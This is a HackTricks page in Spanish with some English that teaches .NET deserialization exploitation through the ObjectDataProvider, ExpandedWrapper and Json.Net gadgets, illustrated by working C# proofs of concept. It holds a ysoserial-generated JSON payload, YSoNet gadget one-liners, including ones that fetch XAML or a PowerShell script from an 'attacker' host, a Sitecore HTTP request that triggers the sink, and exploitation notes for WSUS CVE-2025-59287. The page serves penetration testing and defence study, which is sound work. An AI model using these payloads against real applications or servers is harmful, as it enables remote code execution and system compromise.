Deserialización básica de .Net (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Reading time: 11 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Esta entrada está dedicada a entender cómo se explota el gadget ObjectDataProvider para obtener RCE y cómo las librerías de Serialización Json.Net y xmlSerializer pueden ser abusadas con ese gadget.

Gadget ObjectDataProvider

De la documentación: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Sí, es una explicación extraña, así que veamos qué tiene esta clase que es tan interesante: Esta clase permite envolver un objeto arbitrario, usar MethodParameters para establecer parámetros arbitrarios, y luego usar MethodName para llamar a una función arbitraria del objeto arbitrario declarada usando los parámetros arbitrarios.
Por lo tanto, el objeto arbitrario ejecutará una función con parámetros mientras se deserializa.

Cómo es posible

El espacio de nombres System.Windows.Data, que se encuentra dentro de PresentationFramework.dll en C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, es donde se define e implementa ObjectDataProvider.

Usando dnSpy puedes inspeccionar el código de la clase que nos interesa. En la imagen de abajo estamos viendo el código de PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name

Como puedes observar, cuando MethodName se establece se llama a base.Refresh(), veamos qué hace:

Ok, continuemos viendo qué hace this.BeginQuery(). BeginQuery es sobrescrito por ObjectDataProvider y esto es lo que hace:

Observa que al final del código está llamando a this.QueryWorke(null). Veamos qué ejecuta eso:

Observa que este no es el código completo de la función QueryWorker pero muestra la parte interesante: El código llama a this.InvokeMethodOnInstance(out ex); esta es la línea donde se invoca el método configurado.

Si quieres comprobar que con solo establecer el MethodName éste se ejecutará, puedes ejecutar este código:

Demo en C#: ObjectDataProvider dispara Process.Start
csharp
using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Nota que necesitas agregar como referencia C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll para poder cargar System.Windows.Data

ExpandedWrapper

Al usar el exploit anterior habrá casos en los que el objeto va a ser deserializado como una instancia ObjectDataProvider (por ejemplo en DotNetNuke vuln, usando XmlSerializer, el objeto fue deserializado usando GetType). Entonces, no se tendrá conocimiento del tipo de objeto que está envuelto en la instancia ObjectDataProvider (Process, por ejemplo). Puedes encontrar más información sobre la DotNetNuke vuln aquí.

Esta clase permite specificar los tipos de objeto de los objetos que están encapsulados en una instancia dada. Por tanto, esta clase puede usarse para encapsular un objeto origen (ObjectDataProvider) en un nuevo tipo de objeto y proporcionar las propiedades que necesitamos (ObjectDataProvider.MethodName y ObjectDataProvider.MethodParameters).
Esto es muy útil para casos como el presentado antes, porque podremos envolver _ObjectDataProvider** dentro de una instancia **ExpandedWrapper _ y cuando se deserialice esta clase creará el OjectDataProvider objeto que ejecutará la función indicada en MethodName.

Puedes comprobar este wrapper con el siguiente código:

Demostración en C#: ExpandedWrapper encapsulando ObjectDataProvider
csharp
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

In the official web page it is indicated that this library allows to serializar y deserializar cualquier objeto .NET con el potente serializador JSON de Json.NET. So, if we could deserializar el ObjectDataProvider gadget, we could cause a RCE just deserializing an object.

Ejemplo de Json.Net

First of all lets see an example on how to serializar/deserializar an object using this library:

Demo en C#: Json.NET serializar/deserializar
csharp
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Abusing Json.Net

Usando ysoserial.net creé el exploit:

text
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

En este código puedes test the exploit, simplemente ejecútalo y verás que se ejecuta calc:

C# demo: Json.NET ObjectDataProvider exploitation PoC
csharp
using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}

Cadenas de Gadgets .NET Avanzadas (YSoNet & ysoserial.net)

La técnica ObjectDataProvider + ExpandedWrapper introducida arriba es solo una de MUCHAS cadenas de gadgets que pueden aprovecharse cuando una aplicación realiza unsafe .NET deserialization. Herramientas modernas de red-team como YSoNet (y la más antigua ysoserial.net) automatizan la creación de grafos de objetos maliciosos listos para usar para docenas de gadgets y formatos de serialización.

A continuación hay una referencia condensada de las cadenas más útiles incluidas en YSoNet junto con una explicación rápida de cómo funcionan y comandos de ejemplo para generar los payloads.

Gadget ChainIdea clave / PrimitivaSerializadores comunesYSoNet one-liner
TypeConfuseDelegateCorrompe el registro DelegateSerializationHolder de modo que, una vez materializado, el delegate apunta a cualquier método suministrado por el atacante (p. ej. Process.Start)BinaryFormatter, SoapFormatter, NetDataContractSerializerysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin
ActivitySurrogateSelectorAbusa de System.Workflow.ComponentModel.ActivitySurrogateSelector para eludir el filtrado de tipos en .NET ≥4.8 e invocar directamente el constructor de una clase proporcionada o compilar un archivo C# al vueloBinaryFormatter, NetDataContractSerializer, LosFormatterysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat
DataSetOldBehaviourAprovecha la representación XML heredada de System.Data.DataSet para instanciar tipos arbitrarios rellenando los campos <ColumnMapping> / <DataType> (opcionalmente falsificando el assembly con --spoofedAssembly)LosFormatter, BinaryFormatter, XmlSerializerysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml
GetterCompilerResultsEn runtimes con WPF (> .NET 5) encadena getters de propiedades hasta alcanzar System.CodeDom.Compiler.CompilerResults, luego compila o carga una DLL suministrada con -cJson.NET typeless, MessagePack typelessysonet.exe GetterCompilerResults -c Loader.dll > payload.json
ObjectDataProvider (review)Usa WPF System.Windows.Data.ObjectDataProvider para llamar a un método estático arbitrario con argumentos controlados. YSoNet añade una variante --xamlurl conveniente para alojar el XAML malicioso de forma remotaBinaryFormatter, Json.NET, XAML, etc.ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml
PSObject (CVE-2017-8565)Incrusta un ScriptBlock en System.Management.Automation.PSObject que se ejecuta cuando PowerShell deserializa el objetoPowerShell remoting, BinaryFormatterysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin

tip

Todos los payloads se escriben en stdout por defecto, lo que facilita canalizarlos hacia otras herramientas (p. ej. generadores ViewState, codificadores base64, clientes HTTP).

Compilar / Instalar YSoNet

Si no hay binarios precompilados disponibles en Actions ➜ Artifacts / Releases, el siguiente comando de una sola línea de PowerShell configurará un entorno de compilación, clonará el repositorio y compilará todo en modo Release:

powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

El compilado ysonet.exe puede encontrarse en ysonet/bin/Release/.

Real‑world sink: Sitecore convertToRuntimeHtml → BinaryFormatter

Un sink .NET práctico accesible en flujos autenticados del Content Editor de Sitecore XP:

  • Sink API: Sitecore.Convert.Base64ToObject(string) envuelve new BinaryFormatter().Deserialize(...).
  • Trigger path: pipeline convertToRuntimeHtmlConvertWebControls, que busca un elemento hermano con id="{iframeId}_inner" y lee un atributo value que se trata como datos serializados codificados en base64. El resultado se convierte a string y se inserta en el HTML.
Flujo HTTP de activación del sink de Sitecore autenticado
text
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>

// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
  • Gadget: cualquier cadena BinaryFormatter que devuelva un string (los efectos secundarios se ejecutan durante la deserialización). Consulte YSoNet/ysoserial.net para generar payloads.

For a full chain that starts pre‑auth with HTML cache poisoning in Sitecore and leads to this sink:

Sitecore

Case study: WSUS unsafe .NET deserialization (CVE-2025-59287)

  • Producto/rol: Windows Server Update Services (WSUS) role en Windows Server 2012 → 2025.
  • Superficie de ataque: endpoints WSUS alojados en IIS sobre HTTP/HTTPS en TCP 8530/8531 (a menudo expuestos internamente; la exposición a Internet es de alto riesgo).
  • Causa raíz: deserialización no autenticada de datos controlados por el atacante usando formatters heredados:
  • GetCookie() endpoint deserializa una AuthorizationCookie con BinaryFormatter.
  • ReportingWebService realiza deserialización insegura vía SoapFormatter.
  • Impacto: Un objeto serializado manipulado desencadena una cadena de gadgets durante la deserialización, llevando a ejecución de código arbitrario como NT AUTHORITY\SYSTEM bajo el servicio WSUS (wsusservice.exe) o el app pool de IIS wsuspool (w3wp.exe).

Practical exploitation notes

  • Descubrimiento: Escanea WSUS en TCP 8530/8531. Trata cualquier blob serializado pre-auth que llegue a métodos web de WSUS como un sink potencial para payloads BinaryFormatter/SoapFormatter.
  • Payloads: Usa YSoNet/ysoserial.net para generar cadenas BinaryFormatter o SoapFormatter (p. ej., TypeConfuseDelegate, ActivitySurrogateSelector, ObjectDataProvider).
  • Linaje de procesos esperado en caso de éxito:
  • wsusservice.exe -> cmd.exe -> cmd.exe -> powershell.exe
  • w3wp.exe (wsuspool) -> cmd.exe -> cmd.exe -> powershell.exe

References

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks